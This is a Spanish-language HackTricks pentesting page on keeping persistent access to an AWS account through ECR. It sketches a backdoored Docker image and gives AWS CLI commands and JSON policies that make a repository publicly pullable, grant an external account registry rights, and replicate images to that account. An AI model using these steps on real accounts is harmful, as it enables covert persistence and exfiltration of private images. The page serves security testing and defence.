AWS - ECR Persistence

Apoya a HackTricks

ECR

Para más información revisa:

AWS - ECR Enum

Imagen Docker Oculta con Código Malicioso

Un atacante podría subir una imagen Docker que contenga código malicioso a un repositorio ECR y usarla para mantener persistencia en la cuenta AWS objetivo. El atacante podría luego desplegar la imagen maliciosa a varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.

Política del Repositorio

Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Ten en cuenta que ECR requiere que los usuarios tengan permiso para hacer llamadas a la API ecr:GetAuthorizationToken a través de una política IAM antes de que puedan autenticarse en un registro y subir o descargar cualquier imagen de cualquier repositorio de Amazon ECR.

Política del Registro y Replicación entre Cuentas

Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesitas indicar la cuenta externa en la que deseas replicar el registro.

Primero, necesitas dar acceso a la cuenta externa sobre el registro con una política del registro como:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Luego aplica la configuración de replicación:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Apoya HackTricks

Last updated